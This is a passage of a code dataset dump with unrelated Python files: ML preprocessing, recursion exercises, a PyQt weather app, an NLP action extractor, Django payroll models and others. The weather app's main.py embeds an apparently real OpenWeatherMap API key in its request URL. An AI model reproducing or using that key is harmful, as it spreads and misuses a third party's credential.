X_train_std=np.nanstd(X_train,axis=0)\n X_train=(X_train-X_train_mean)/X_train_std\n X_test=(X_test-X_train_mean)/X_train_std\n X_valid=(X_valid-X_train_mean)/X_train_std\n\n X_flat=X.reshape(X.shape[0],(X.shape[1]*X.shape[2]))\n X_flat_train=X_flat[training_set,:]\n X_flat_test=X_flat[testing_set,:]\n X_flat_valid=X_flat[valid_set,:]\n\n #Z-score \"X_flat\" inputs. \n X_flat_train_mean=np.nanmean(X_flat_train,axis=0)\n X_flat_train_std=np.nanstd(X_flat_train,axis=0)\n X_flat_train=(X_flat_train-X_flat_train_mean)/X_flat_train_std\n X_flat_test=(X_flat_test-X_flat_train_mean)/X_flat_train_std\n X_flat_valid=(X_flat_valid-X_flat_train_mean)/X_flat_train_std\n\n #Zero-center outputs\n y_train_mean=np.mean(y_train,axis=0)\n y_train=y_train-y_train_mean\n y_test=y_test-y_train_mean\n y_valid=y_valid-y_train_mean\n\n return X_train_mean, X_train, X_test, X_valid, X_flat_train_mean, X_flat_train, X_flat_test, X_flat_valid, y_train_mean, y_train, y_test, y_valid\n \n","sub_path":"preprocessing_funcs.py","file_name":"preprocessing_funcs.py","file_ext":"py","file_size_in_byte":9560,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"580268633","text":"# imports\nimport sys\nfrom videostream import VideoStream\n\n# globals\nMCAST_IP = '224.1.2.3'\nMCAST_PORT = 5005\n\n# begin\nstream = VideoStream(MCAST_IP, MCAST_PORT)\nstream.setCapture(sys.argv[1])\nstream.setupClient()\nstream.startClient()\nstream.shutdown()\n","sub_path":"multicast/source.py","file_name":"source.py","file_ext":"py","file_size_in_byte":252,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"164716474","text":"#1) Write a recursive function sumofN(n) that can calculate sum of first n natural numbers. For example sum of first 16 natural numbers is 136 i.e. sumofN(16)=136\n\ndef sum_of_n(n): #O(n) because it has to call it self n times\n if n < 1:\n return n\n else:\n return sum_of_n(n-1) + n\n\ndef test_against(n):\n return (n*(n+1))//2\n\nx = 16\nprint(sum_of_n(x), \"vs\", test_against(x), \"vs 136\")\n\nx = 3\nprint(sum_of_n(x), \"vs\", test_against(x))\n\n\n#2) Write a recursive function fib(n) to get nth value from Fibonacci sequence i.e. fib(4)= 3\n\ndef fib(n): #\n if n <= 1:\n print(\"Here\")\n return n\n else:\n return fib(n-2) + fib(n-1)\n\n#count = 0\n#def fib_count(n):\n# if n <= 1:\n# count += 1\n# return n\n# else:\n# return fib_count(n-2, count + 1) + fib_count(n-1, count + 1)\n#\n\n\n#print(fib(1))\n#print(fib(2))\n#print(fib(3))\n#print(fib(4))\n#print(fib(5))\n#print(fib(5))\n#3) Write a recursive function to calculate exponent of a number e.g. 23 = 8\n\ndef positive_integer_exp(n, m): #O(m)\n if m < 1:\n return 1\n else:\n return positive_integer_exp(n, m - 1) * n\n\n\nprint(positive_integer_exp(3, 4))\nprint(3**4)\n#4) Write a recursive function that can convert decimal number into binary number?\n#Then write another generic recursive function which can work with any base conversion (Hint: text book chapter on recursion).\n\n#def dec_to_bin_starter(n): #{{{\n# return dec_to_bin(n, \"\")\n#\n#def dec_to_bin(n, string):\n# if n > 0:\n# if n % 2 == 0:\n# return dec_to_bin(n // 2, \"0\" + string)\n# else:\n# return dec_to_bin(n // 2, \"1\" + string)\n# else:\n# return string #}}}\n\ndef dec_to_base(n, base):\n if n < base:\n return str(n)\n return dec_to_base(n // base, base) + str((n % base))\n\n\n#def any_to_dec(string, base): #{{{\n# if len(string) == 0:\n# return 0\n# else:\n# return base ** digits.index(string[0]) + any_to_dec(string[1:], base) #}}}\n\n\n#print(any_to_dec(\"2\", 2))\n\n\nprint(dec_to_base(300, 3))\n\n#print(dec_to_base(19, 17), \"100\")\n#print(dec_to_base(2, 2), \"10\")\n#print(dec_to_base(3, 2), \"11\")\n#print(dec_to_base(15, 2), \"1111\")\n#print(dec_to_base(16, 2), \"10000\")\n","sub_path":"10-11-2019/all.py","file_name":"all.py","file_ext":"py","file_size_in_byte":2226,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"314086184","text":"import requests\r\nfrom PyQt5 import QtCore, QtGui, QtWidgets\r\nfrom PyQt5.QtWidgets import QApplication, QMainWindow\r\nimport sys\r\n\r\n\r\nclass Ui_MainWindow(object):\r\n def setupUi(self, MainWindow):\r\n MainWindow.setFixedSize(380, 318)\r\n MainWindow.setWindowTitle('PogoCheck')\r\n MainWindow.setWindowIcon(QtGui.QIcon('rsc/icon.png'))\r\n stylesheet = open('rsc/stylesheet.qss').read()\r\n MainWindow.setStyleSheet(stylesheet)\r\n self.centralwidget = QtWidgets.QWidget(MainWindow)\r\n self.centralwidget.setStyleSheet(\"background-image: url(rsc/bground.jpg);\")\r\n self.radioCelsjusz = QtWidgets.QRadioButton(self.centralwidget)\r\n self.radioCelsjusz.setGeometry(QtCore.QRect(210, 10, 82, 17))\r\n self.radioCelsjusz.setAutoFillBackground(True)\r\n self.radioCelsjusz.setChecked(True)\r\n self.radioCelsjusz.setText(\"Celsjusze\")\r\n self.radioCelsjusz.setStyleSheet(\"background:transparent;\")\r\n self.radioKelwin = QtWidgets.QRadioButton(self.centralwidget)\r\n self.radioKelwin.setGeometry(QtCore.QRect(210, 30, 82, 17))\r\n self.radioKelwin.setText(\"Kelwiny\")\r\n self.radioKelwin.setStyleSheet(\"background:transparent;\")\r\n self.radioFahrenheity = QtWidgets.QRadioButton(self.centralwidget)\r\n self.radioFahrenheity.setGeometry(QtCore.QRect(210, 50, 121, 17))\r\n self.radioFahrenheity.setText(\"Fahrenheit\\'y\")\r\n self.radioFahrenheity.setStyleSheet(\"background:transparent;\")\r\n self.labelTekst = QtWidgets.QLabel(self.centralwidget)\r\n self.labelTekst.setGeometry(QtCore.QRect(20, 0, 171, 51))\r\n self.labelTekst.setAutoFillBackground(False)\r\n self.lineEdit = QtWidgets.QLineEdit(self.centralwidget)\r\n self.lineEdit.setGeometry(QtCore.QRect(30, 50, 161, 20))\r\n self.lineEdit.setStyleSheet(\"background:transparent;\")\r\n self.pushButton = QtWidgets.QPushButton(self.centralwidget)\r\n self.pushButton.setGeometry(QtCore.QRect(20, 90, 341, 51))\r\n self.pushButton.setText(\"Gotowe\")\r\n self.label = QtWidgets.QLabel(self.centralwidget)\r\n self.label.setGeometry(QtCore.QRect(20, 160, 341, 141))\r\n self.labelTekst.setText(\"Podaj miasto poniżej:\")\r\n self.labelTekst.setStyleSheet(\"background:transparent;\")\r\n self.label.setFrameShape(QtWidgets.QFrame.Box)\r\n self.label.setStyleSheet(\"background:transparent;\")\r\n self.label.setWordWrap(True)\r\n self.label.setAlignment(QtCore.Qt.AlignTop | QtCore.Qt.AlignLeft)\r\n self.label_2 = QtWidgets.QLabel(self.centralwidget)\r\n self.label_2.setGeometry(QtCore.QRect(320, 300, 41, 20))\r\n self.label_2.setText(\"KMDev\")\r\n self.label_2.setStyleSheet(\"background:transparent;\")\r\n MainWindow.setCentralWidget(self.centralwidget)\r\n self.pushButton.clicked.connect(self.submit)\r\n\r\n def submit(self):\r\n value = self.lineEdit.text()\r\n self.lineEdit.clear()\r\n try:\r\n if value:\r\n url = 'http://api.openweathermap.org/data/2.5/weather?q=' + str(\r\n value) + '&APPID=634322244c3995a95609ceaae6906e06'\r\n if self.radioCelsjusz.isChecked():\r\n json = requests.get(url + '&units=metric').json()\r\n elif self.radioKelwin.isChecked():\r\n json = requests.get(url + '&units=kelvin').json()\r\n elif self.radioFahrenheity.isChecked():\r\n json = requests.get(url + '&units=fahrenheit').json()\r\n self.label.setText(\r\n 'Temperatura w miescie ' + str(json['name']) + ' wynosi ' + str(json['main']['temp']) + ' stopni.')\r\n else:\r\n self.label.setText('Nie znaleziono podanego miasta, spróbuj ponownie.')\r\n except:\r\n self.label.setText('Nie znaleziono podanego miasta, spróbuj ponownie.')\r\n\r\n\r\nif __name__ == '__main__':\r\n app = QApplication(sys.argv)\r\n window = QMainWindow()\r\n\r\n ui = Ui_MainWindow()\r\n ui.setupUi(window)\r\n\r\n window.show()\r\n sys.exit(app.exec_())\r\n","sub_path":"PogoCheckKod/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":4099,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"299774433","text":"# coding: utf8\n\n\"\"\"\nSensor de acciones\n------------------\n\"\"\"\nimport nltk.data\nimport spacy\n\nfrom leto.unstructured.sensorial.utils import nlp, Concept\nfrom leto.unstructured.sensorial.entities import EntitySensor\nfrom leto.unstructured.sensorial.coreferences import CoreferenceSensor\nfrom leto.unstructured.sensorial.sentiment_sam import SentimentSensor\n\nSUBJECTS = [\"nsubj\", \"nsubjpass\", \"csubj\", \"csubjpass\", \"agent\", \"expl\"]\nOBJECTS = [\"dobj\", \"dative\", \"attr\", \"oprd\"]\n\n\nclass ActionSensor:\n \"\"\"\n Este sensor recibe un texto de entrada,\n y devuelve una lista de acciones extraídas\n del mismo.\n\n Las acciones son tuplas de la forma\n `(acción, sujeto, objeto)`.\n \"\"\"\n def run(self, text):\n # Obtener todos los árboles y acciones\n for sentence in nlp(text).sents:\n for action in self.extract_actions(sentence):\n yield action\n\n def get_subs_from_conjunctions(self, subs):\n more_subs = []\n for sub in subs:\n # rights is a generator\n rights = list(sub.rights)\n rightDeps = {tok.lower_ for tok in rights}\n if \"and\" in rightDeps:\n more_subs.extend([tok for tok in rights if tok.dep_ in SUBJECTS or tok.pos_ == \"NOUN\"])\n if len(more_subs) > 0:\n more_subs.extend(self.get_subs_from_conjunctions(more_subs))\n return more_subs\n\n def get_objs_from_conjunctions(self, objs):\n moreObjs = []\n for obj in objs:\n # rights is a generator\n rights = list(obj.rights)\n rightDeps = {tok.lower_ for tok in rights}\n if \"and\" in rightDeps:\n moreObjs.extend([tok for tok in rights if tok.dep_ in OBJECTS or tok.pos_ == \"NOUN\"])\n if len(moreObjs) > 0:\n moreObjs.extend(self.get_objs_from_conjunctions(moreObjs))\n return moreObjs\n\n def get_verbs_from_conjunctions(self, verbs):\n more_verbs = []\n for verb in verbs:\n rightDeps = {tok.lower_ for tok in verb.rights}\n if \"and\" in rightDeps:\n more_verbs.extend([tok for tok in verb.rights if tok.pos_ == \"VERB\"])\n if len(more_verbs) > 0:\n more_verbs.extend(self.get_verbs_from_conjunctions(more_verbs))\n return more_verbs\n\n def find_subs(self, tok):\n head = tok.head\n while head.pos_ != \"VERB\" and head.pos_ != \"NOUN\" and head.head != head:\n head = head.head\n if head.pos_ == \"VERB\":\n subs = [tok for tok in head.lefts if tok.dep_ == \"SUB\"]\n if len(subs) > 0:\n verb_negated = self.is_negated(head)\n subs.extend(self.get_subs_from_conjunctions(subs))\n return subs, verb_negated\n elif head.head != head:\n return self.find_subs(head)\n elif head.pos_ == \"NOUN\":\n return [head], self.is_negated(tok)\n return [], False\n\n def is_negated(self, tok):\n negations = {\"no\", \"not\", \"n't\", \"never\", \"none\"}\n for dep in list(tok.lefts) + list(tok.rights):\n if dep.lower_ in negations:\n return True\n return False\n\n def get_objs_from_prepositions(self, deps):\n objs = []\n for dep in deps:\n if dep.pos_ == \"ADP\" and dep.dep_ == \"prep\":\n objs.extend([tok for tok in dep.rights if tok.dep_ in OBJECTS or (tok.pos_ == \"PRON\" and tok.lower_ == \"me\")])\n return objs\n\n def get_objs_from_attrs(self, deps):\n for dep in deps:\n if dep.pos_ == \"NOUN\" and dep.dep_ == \"attr\":\n verbs = [tok for tok in dep.rights if tok.pos_ == \"VERB\"]\n if len(verbs) > 0:\n for v in verbs:\n rights = list(v.rights)\n objs = [tok for tok in rights if tok.dep_ in OBJECTS]\n objs.extend(self.get_objs_from_prepositions(rights))\n if len(objs) > 0:\n return v, objs\n return None, None\n\n def get_obj_from_xcomp(self, deps):\n for dep in deps:\n if dep.pos_ == \"VERB\" and dep.dep_ == \"xcomp\":\n v = dep\n rights = list(v.rights)\n objs = [tok for tok in rights if tok.dep_ in OBJECTS]\n objs.extend(self.get_objs_from_prepositions(rights))\n if len(objs) > 0:\n return v, objs\n return None, None\n\n def get_all_subs(self, v):\n verbNegated = self.is_negated(v)\n subs = [tok for tok in v.lefts if tok.dep_ in SUBJECTS and tok.pos_ != \"DET\"]\n if len(subs) > 0:\n subs.extend(self.get_subs_from_conjunctions(subs))\n else:\n foundSubs, verbNegated = self.find_subs(v)\n subs.extend(foundSubs)\n return subs, verbNegated\n\n def get_all_objs(self, v):\n # rights is a generator\n rights = list(v.rights)\n objs = [tok for tok in rights if tok.dep_ in OBJECTS]\n objs.extend(self.get_objs_from_prepositions(rights))\n\n potential_new_verb, potential_new_objs = self.get_obj_from_xcomp(rights)\n if potential_new_verb is not None and potential_new_objs is not None and len(potential_new_objs) > 0:\n objs.extend(potential_new_objs)\n v = potential_new_verb\n if len(objs) > 0:\n objs.extend(self.get_objs_from_conjunctions(objs))\n return v, objs\n\n def extract_actions(self, tokens):\n verbs = [tok for tok in tokens if tok.pos_ == \"VERB\" and tok.dep_ != \"aux\"]\n for v in verbs:\n subs, verb_negated = self.get_all_subs(v)\n\n if verb_negated:\n continue\n\n if len(subs) > 0:\n v, objs = self.get_all_objs(v)\n for sub in subs:\n for obj in objs:\n objNegated = self.is_negated(obj)\n\n if objNegated:\n continue\n\n action = Concept(text = v.text, label = \"action\", pos_init = v.idx, normalized=v.lemma_)\n subj = Concept(text = sub.text, label = \"subject\", pos_init = sub.idx)\n obj = Concept(text = obj.text, label = \"object\", pos_init = obj.idx)\n\n yield (action, subj, obj)\n\n\nclass ActionPipelineSensor:\n \"\"\"\n Ejecuta el pipeline de acciones, entidades y coreferencias\n y devuelve la lista final de acciones con las sustituciones correspondientes.\n \"\"\"\n def __init__(self):\n self.actions = ActionSensor()\n self.entities = EntitySensor()\n self.coreferences = CoreferenceSensor()\n self.sentiments = SentimentSensor()\n\n def run_file(self, filename):\n with open(filename) as fp:\n return list(self.run(fp.read()))\n\n def run(self, text):\n sentiments = {}\n sentences = nlp(text).sents\n\n for s in sentences:\n sent = self.sentiments.run(s.text)\n sentiments[(s.start_char, s.end_char)] = sent\n\n corefs = list(self.coreferences.run(text))\n entities = list(self.entities.run(text))\n\n for action, subj, obj in self.actions.run(text):\n subj.label = dict(role=\"subject\", entity=\"NONE\")\n obj.label = dict(role=\"object\", entity=\"NONE\")\n\n for e in entities:\n if not e.label:\n continue\n\n if e & subj:\n subj.label['entity'] = e.label\n e.label = subj.label\n subj = e\n if e & obj:\n obj.label['entity'] = e.label\n e.label = obj.label\n obj = e\n\n for c1, c2 in corefs:\n if c1 & subj:\n c2.label = subj.label\n subj = c2\n if c1 & obj:\n c2.label = obj.label\n obj = c2\n\n sent = {}\n\n for (start, end), s in sentiments.items():\n if action.pos_init >= start and action.pos_end <= end:\n sent = s\n break\n\n yield (action, subj, obj, sent)\n","sub_path":"leto/unstructured/sensorial/actions.py","file_name":"actions.py","file_ext":"py","file_size_in_byte":8276,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"135557439","text":"from typing import List, Dict\n\nfrom core.db.db_managment import DB\nfrom sqlalchemy.exc import InvalidRequestError\n\nfrom users.models import UserModel\n\n\nclass AdminDBManagement(DB):\n\n def retrieve_list_users(self, limit: int, offset: int, **filters) -> List[UserModel]:\n\n with self.db_connect as db:\n list_users = db.query(UserModel).filter_by(**filters).limit(limit).offset(offset)\n\n return list_users\n\n def retrieve_user_by_pk(self, pk: int) -> UserModel:\n\n with self.db_connect as db:\n user = db.query(UserModel).get(pk)\n\n return user\n\n def retrieve_user_by(self, **kwargs):\n\n with self.db_connect as db:\n user = db.query(UserModel).filter_by(**kwargs).first()\n\n return user\n\n def update_user(self, pk: int, attrs_and_fields: Dict, **kwargs) -> UserModel:\n\n with self.db_connect as db:\n try:\n user: UserModel = db.query(UserModel).filter_by(id=pk).first()\n\n for attr, value in attrs_and_fields.items():\n setattr(user, attr, value)\n db.commit()\n\n except Exception:\n db.rollback()\n raise InvalidRequestError(\"Transaction was not complete\")\n\n db.refresh(user)\n\n return user\n","sub_path":"app/admins/admins_managment/admins_management.py","file_name":"admins_management.py","file_ext":"py","file_size_in_byte":1313,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"629981568","text":"import pytube \nfrom pprint import pprint\n\n# https://www.youtube.com/watch?v=mrFUSdJU6NU\n# https://www.youtube.com/watch?v=1BdPDaFXcEo\n#https://www.youtube.com/watch?v=ZbZSe6N_BXs\nyt = pytube.YouTube(\"https://www.youtube.com/watch?v=9xpf9oX-LmA\")\n\nvids= yt.streams.all()\nfor i in range(len(vids)):\n print(i,'. ',vids[i])\n\nvnum = int(input(\"Enter download number: \"))\nvids[vnum].download(r\"E:\\中興資管所\\7 實驗進度\\Youtube爬蟲\")\nprint('Download Done !')\n\n##import json\n##import urllib.request\n##import webbrowser\n##from win32clipboard import *\n##\n##url = 'https://www.youtube.com/watch?v=mrFUSdJU6NU'\n##\n##def main():\n## print(\"Hello\")\n## input(\"Press 'Enter' to start ...\")\n## convert()\n##\n##def convert():\n## OpenClipboard()\n## vid = GetClipboardData()\n## CloseClipboard()\n## try:\n## data = json.load(urllib.request.urlopen(url+vid))\n## except urllib.error.HTTPError:\n## print('Invlaid url !')\n## input(\"\\nPress 'Enter' to start ...\")\n##\n## history = open('History.txt', 'a')\n## history.write('\\n\\n'+data['title']+'\\n'+vid)\n## history.close()\n##\n## download = input('\\nAre you have to download \"'+data['title']+'\"as a MP3? (y/n)')\n## if download == 'y':\n## webbrowser.open(data['link'])\n## again()\n## else:\n## print('Have a nice day : )')\n## exit()\n##\n##main() \n","sub_path":"Youtube爬蟲/test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":1372,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"615586181","text":"import wikipedia\nimport json\n\n\nclass Country:\n def __init__(self, file):\n with open(file, encoding='utf-8') as f:\n self.json_data = json.load(f)\n self.start = 0\n self.end = len(self.json_data)\n\n def __iter__(self):\n return self\n\n def __next__(self):\n self.start += 1\n try:\n country_name = self.json_data[self.start - 1][\"name\"][\"common\"]\n try:\n country_page = wikipedia.page(country_name)\n except wikipedia.exceptions.DisambiguationError:\n country_page = wikipedia.page(country_name + '(country)')\n country_url = country_page.url\n res = country_name + ' - ' + country_url\n\n with open('output.txt', 'a', encoding='utf-8') as f:\n f.write(res + '\\n')\n\n if self.start > self.end:\n raise StopIteration\n\n return res\n\n except IndexError:\n raise StopIteration\n\n\nif __name__ == \"__main__\":\n for countries in Country('countries.json'):\n print(countries)","sub_path":"2.2.1.py","file_name":"2.2.1.py","file_ext":"py","file_size_in_byte":1081,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"18705823","text":"# Copyright 2017 Niall McCarroll\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\nfrom pyinfog.narrative import Narrative\nfrom pyinfog.svg.pysvg import svgdoc,javascript_snippet\n\n\nclass Diagram:\n \"\"\"\n Represent a diagram contining one or more infographics\n \"\"\"\n\n def __init__(self,hmargin=100,vmargin=100,narrative_spacing=800):\n \"\"\"\n\n :param narrative_spacing: spacing between narratives\n\n\n :Example:\n\n\n d = Diagram() # create a diagram\n n1 = d.addNarrative()\n\n \"\"\"\n self.hmargin = hmargin\n self.vmargin = vmargin\n self.narrative_spacing = narrative_spacing\n self.min_width = 200\n self.narratives = []\n\n\n def addNarrative(self,min_width=0,debug=False):\n n = Narrative(min_width,debug=debug)\n self.narratives.append(n)\n return n\n\n def __repr_svg__(self):\n return self.draw()\n\n def draw(self):\n \"\"\"\n Draw the diagram to create an SVG document\n\n :return: string containing the SVG document\n \"\"\"\n\n for n in self.narratives:\n n.build()\n\n w = sum([n.getWidth() for n in self.narratives])\n if len(self.narratives)>1:\n w += self.narrative_spacing * len(self.narratives)\n h = max([n.getHeight() for n in self.narratives])\n\n w += self.hmargin*2\n h += self.vmargin*2\n\n d = svgdoc(w, h)\n d.add(javascript_snippet('function bringToFront(evt) { var p = evt.target.parentNode.parentNode; var c = evt.target.parentNode; p.removeChild(c); p.appendChild(c); }'))\n\n off_x = self.hmargin\n off_y = self.vmargin\n\n for n in self.narratives:\n n.draw(d, off_x+n.getWidth()/2, off_y)\n off_x += n.getWidth() + self.narrative_spacing\n\n return d.render()\n\n","sub_path":"pyinfog/diagram.py","file_name":"diagram.py","file_ext":"py","file_size_in_byte":2311,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"484346343","text":"from django.db import models\nfrom django.db.models import Sum\nfrom django.db.models import Max\nfrom parametros_generales.models import Vapor, Inspector, Shipping, Employee, Commodity\nimport decimal\nimport datetime\nimport datetime\n\n\nclass Parameter(models.Model):\n class Meta:\n verbose_name = 'Valor para el calculo de nomina'\n verbose_name_plural = 'Valores para el calculo de las nominas'\n\n contribution = models.DecimalField('Contribucion', decimal_places=2, max_digits=18, blank=True, null=True,\n default=0.00)\n mutual_aid = models.DecimalField('Socorro Mutuo', decimal_places=2, max_digits=18, blank=True, null=True,\n default=0.00)\n fee = models.DecimalField('Couta', decimal_places=2, max_digits=18, blank=True, null=True, default=0.00)\n yola = models.DecimalField('Yola', decimal_places=2, max_digits=18, blank=True, null=True, default=0.00)\n fop = models.DecimalField('FOP', decimal_places=2, max_digits=18, blank=True, null=True, default=0.00)\n date_create = models.DateField('Fecha Creado', auto_now=True)\n date_from = models.DateField('Fecha Desde', blank=True, null=True)\n date_to = models.DateField('Fecha Hasta', blank=True, null=True)\n is_default = models.NullBooleanField('Usar estos valores', null=True)\n\n def __str__(self):\n return \"Contribucion: {}%, Socorro Mutuo: {}%, Couta: {}%, Yola: {}%, FOP: {}%; Desde: {} - Hasta: {}\" \\\n .format(self.contribution, self.mutual_aid, self.fee, self.yola, self.fop, self.date_from, self.date_to)\n\n\ndef generate_number_nomina():\n return (Movement.objects.all().aggregate(Max('number')).get('number__max', 0) or 0) + 1\n\n\ndef generate_monthly_number_nomina(date=datetime.date.today()):\n return (Movement.objects.filter(pay_date__month=date.month).aggregate(Max('alternative_number')).get(\n 'alternative_number__max', 0) or 0) + 1\n\n\nclass Movement(models.Model):\n class Meta:\n verbose_name = 'Llegada de vapor'\n verbose_name_plural = 'Llegada de vapores'\n unique_together = (('alternative_number', 'pay_date'),)\n\n STATUS = (\n ('C', 'Calculada'),\n ('A', 'Abierta'),\n ('N', 'Anulada')\n )\n\n number = models.IntegerField('Identificador', primary_key=True,\n help_text=\"Identificador unico de cada nomina\",\n default=generate_number_nomina)\n alternative_number = models.IntegerField('#Nomina',help_text=\"Esta columna tiene el proximo numero de nomina mensual se genera de forma automatica\",\n default=generate_monthly_number_nomina)\n arrive_date = models.DateField('Llegada')\n pay_date = models.DateField('Pagar en', default=datetime.datetime.now)\n vapor = models.ForeignKey(Vapor, verbose_name='Vapor', limit_choices_to={'status': True})\n inspector = models.ForeignKey(Inspector, verbose_name='Inspector', limit_choices_to={'status': True})\n managers = models.DecimalField('Directivos', max_digits=2, decimal_places=1)\n managers_pay_amount = models.DecimalField('Directivos', max_digits=18, decimal_places=2, default=0)\n managers_harmful = models.DecimalField('Nocivo Directivos', max_digits=18, decimal_places=2, default=0)\n used_yola = models.BooleanField('¿Usaron Yola?')\n shipping = models.ForeignKey(Shipping, verbose_name='Naviera', limit_choices_to={'status': True})\n benefits = models.DecimalField('Prestaciones', decimal_places=2, max_digits=18, blank=True, null=True, default=0,\n help_text='Indique lo que fuera pagado direcctamente por la administracion del '\n 'vapor')\n ice = models.DecimalField('Hielo', decimal_places=2, max_digits=18, blank=True, null=True, default=0,\n help_text='Indicar lo gastado en hielo')\n others = models.DecimalField('Otros', decimal_places=2, max_digits=18, blank=True, null=True, default=0,\n help_text='Ponga cualquier otra deduccion para el valor del cheque')\n harmful = models.DecimalField('Nocivos', decimal_places=2, max_digits=18, blank=True, null=True,\n help_text='El valor de esta campo será restado al total pagado por las navieras '\n 'antes de calcular la nomina',\n default=0)\n additional = models.DecimalField('Adicional', decimal_places=2, max_digits=18, blank=True, null=True, default=0)\n total_check = models.DecimalField('Total Cheque', decimal_places=2, max_digits=18, null=True, blank=True, default=0,\n help_text=\"Valor del cheque pagado por la naviera\")\n total_amount = models.DecimalField('Total', decimal_places=2, max_digits=18, null=True, blank=True, default=0,\n help_text=\"Esta columna se calcula automatica se guardara con la suma de todos \"\n \"los pagos realizados por las navieras menos lo pagado de nocivo\")\n parameter = models.ForeignKey(Parameter, null=True)\n\n\n def __str__(self):\n return '%s - %s' % (self.vapor, self.arrive_date)\n\n def calculate(self):\n self.status = 'C'\n self.parameter = Parameter.objects.filter(is_default=True, date_to=None).first()\n tmp_total_amount = self.total_check\n if tmp_total_amount is None:\n tmp_total_amount = 0\n self.total_amount = tmp_total_amount - (self.harmful + self.benefits + self.ice + self.additional + self.others)\n\n total_employees = 0\n for quadrille in self.quadrille_set.all():\n total_employees = total_employees + quadrille.employeequadrille_set.count()\n amount = self.total_amount / (total_employees + self.managers)\n harmful_amount = self.harmful / (total_employees + self.managers)\n self.managers_pay_amount = amount * self.managers\n self.managers_harmful = harmful_amount * self.managers\n for quadrille in self.quadrille_set.all():\n quadrille.calculate(amount, harmful_amount)\n\n self.save()\n\n def save(self, force_insert=False, force_update=False, using=None,\n update_fields=None):\n return super(Movement, self).save(force_insert, force_update, using, update_fields)\n\n @property\n def contribucion(self):\n return self.total_amount\n\n @property\n def prestaciones(self):\n total = 0\n for quadrille in self.quadrille_set.all():\n total += (quadrille.employeequadrille_set.aggregate(Sum('net_salary')).get('net_salary__sum', 0) or 0)\n return total\n\n @property\n def fop(self):\n total = 0\n for quadrille in self.quadrille_set.all():\n total += (quadrille.employeequadrille_set.aggregate(Sum('fop')).get('fop__sum', 0) or 0)\n return total\n\n @property\n def socorro(self):\n total = 0\n for quadrille in self.quadrille_set.all():\n total += (quadrille.employeequadrille_set.aggregate(Sum('mutual_aid')).get('mutual_aid__sum', 0) or 0)\n return total\n\n @property\n def yola(self):\n total = 0\n for quadrille in self.quadrille_set.all():\n total += (quadrille.employeequadrille_set.aggregate(Sum('yola')).get('yola__sum', 0) or 0)\n return total\n\n @property\n def avance(self):\n total_advance = 0\n for quadrille in self.quadrille_set.all():\n total_advance += (quadrille.employeequadrille_set.aggregate(Sum('advance')).get('advance__sum', 0) or 0)\n return total_advance\n\n @property\n def pasado(self):\n total_advance = 0\n for quadrille in self.quadrille_set.all():\n total_advance += (quadrille.employeequadrille_set.aggregate(Sum('past')).get('past__sum', 0) or 0)\n return total_advance\n\n @property\n def pagado(self):\n return self.total_amount - self.managers_pay_amount\n\n @property\n def deducciones(self):\n return self.benefits + self.ice + self.harmful + self.additional\n\n @property\n def total(self):\n return self.total_amount + self.benefits + self.others + self.ice + self.harmful + self.additional\n\n @property\n def adicional(self):\n return self.additional\n\n @property\n def nocivos(self):\n return self.harmful\n\n @property\n def hielo(self):\n return self.ice\n\n\nclass ShippingMovement(models.Model):\n class Meta:\n verbose_name = 'Pago de Naviera'\n verbose_name_plural = 'Pagos de Navieras'\n unique_together = (('movement', 'shipping'),)\n\n movement = models.ForeignKey(Movement, verbose_name='Llegada de Vapor')\n shipping = models.ForeignKey(Shipping, verbose_name='Naviera', limit_choices_to={'status': True})\n amount = models.DecimalField('Monto', decimal_places=2, max_digits=18, default=0)\n\n def __str__(self):\n return '%s %s' % (self.shipping, self.amount)\n\n\nclass Quadrille(models.Model):\n class Meta:\n verbose_name = 'Cuadrilla'\n verbose_name_plural = 'Cuadrillas'\n\n movement = models.ForeignKey(Movement, verbose_name='Llegada Vapor',\n help_text='Seleccione la llegada de un vapor para crear la cuadrilla.')\n\n def calculate(self, amount, harmful_amount):\n for employee in self.employeequadrille_set.all():\n employee.calculate(amount, harmful_amount)\n\n @property\n def inspector(self):\n return self.movement.inspector\n\n @property\n def vapor(self):\n return self.movement.vapor\n\n @property\n def fecha_llegada(self):\n return self.movement.arrive_date\n\n def __str__(self):\n return '%s Cuadrilla %s' % (self.movement, self.id,)\n\n\nclass EmployeeQuadrille(models.Model):\n class Meta:\n verbose_name = 'Miembros de la cuadrilla'\n verbose_name_plural = 'Miembros de la Cuadrilla'\n unique_together = (('quadrille', 'employee',),)\n\n quadrille = models.ForeignKey(Quadrille, verbose_name='Cuadrilla')\n employee = models.ForeignKey(Employee, verbose_name='Empleado',\n limit_choices_to={'status': True, 'substitute__isnull': True})\n advance = models.DecimalField('Avance', decimal_places=2, max_digits=18, default=0)\n others_payments = models.DecimalField('Otros pagos', decimal_places=2, max_digits=18, blank=True, null=True,\n default=0.00)\n others_deductions = models.DecimalField('Otros deducciones', decimal_places=2, max_digits=18, blank=True, null=True,\n default=0.00)\n contribution = models.DecimalField('Contribuccion', decimal_places=2, max_digits=18, blank=True, null=True,\n default=0.00)\n yola = models.DecimalField('Yola', decimal_places=2, max_digits=18, blank=True, null=True, default=0.00)\n mutual_aid = models.DecimalField('Socorro Mutuo', decimal_places=2, max_digits=18, blank=True, null=True,\n default=0.00)\n fee = models.DecimalField('Couta', decimal_places=2, max_digits=18, blank=True, null=True, default=0.00)\n fop = 